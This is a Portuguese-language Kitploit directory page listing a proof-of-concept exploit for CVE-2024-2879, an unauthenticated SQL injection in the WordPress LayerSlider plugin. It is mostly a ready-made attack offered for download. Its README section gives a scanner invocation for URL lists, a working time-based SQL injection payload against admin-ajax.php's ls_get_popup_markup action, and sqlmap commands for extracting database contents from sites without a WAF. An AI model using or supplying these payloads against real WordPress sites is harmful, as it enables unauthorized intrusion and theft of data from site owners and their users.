Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-2879 — Exploit de prova de conceito para CVE-2024-2879: injeção SQL não autenticada no plugin WordPress LayerSlider (7.9.11-7.10.0). Inclui script de scanner e guia de exploração do SQLMap para extrair informações do banco de dados. | Kitploit
Ferramentas/GitHubGitHub/herculeszxc/cve-2024-2879
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubherculeszxc/cve-2024-2879

CVE-2024-2879

Exploit de prova de conceito para CVE-2024-2879: injeção SQL não autenticada no plugin WordPress LayerSlider (7.9.11-7.10.0). Inclui script de scanner e guia de exploração do SQLMap para extrair informações do banco de dados.

Ver Repositório
2233há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-2879

Descrição

LayerSlider 7.9.11 - 7.10.0 - Injeção SQL Não Autenticada

O plugin LayerSlider para WordPress é vulnerável a Injeção SQL através da ação ls_get_popup_markup nas versões 7.9.11 e 7.10.0 devido a escapamento insuficiente no parâmetro fornecido pelo usuário e falta de preparação adequada na consulta SQL existente. Isso possibilita que atacantes não autenticados anexem consultas SQL adicionais às consultas já existentes, que podem ser usadas para extrair informações sensíveis do banco de dados.

Uso do Scanner

  1. Instale os requisitos: pip install -r requirements.txt
  2. python3 scan.py ou <urllist.txt> image

Verificação Manual se o site não estiver protegido com WAF

"http://site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and (SELECT 6416 FROM (SELECT(SLEEP(5)))nEiK)-- vqlq" Tempo de resposta com atraso de 5 segundos image

Exploração com SQL Map

sqlmap "https:://site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=" --risk=3 --level=4 --dbms=mysql --technique=T ou sqlmap -r request.txt --risk=3 --level=4 --dbms=mysql --technique=T

Baixar ferramenta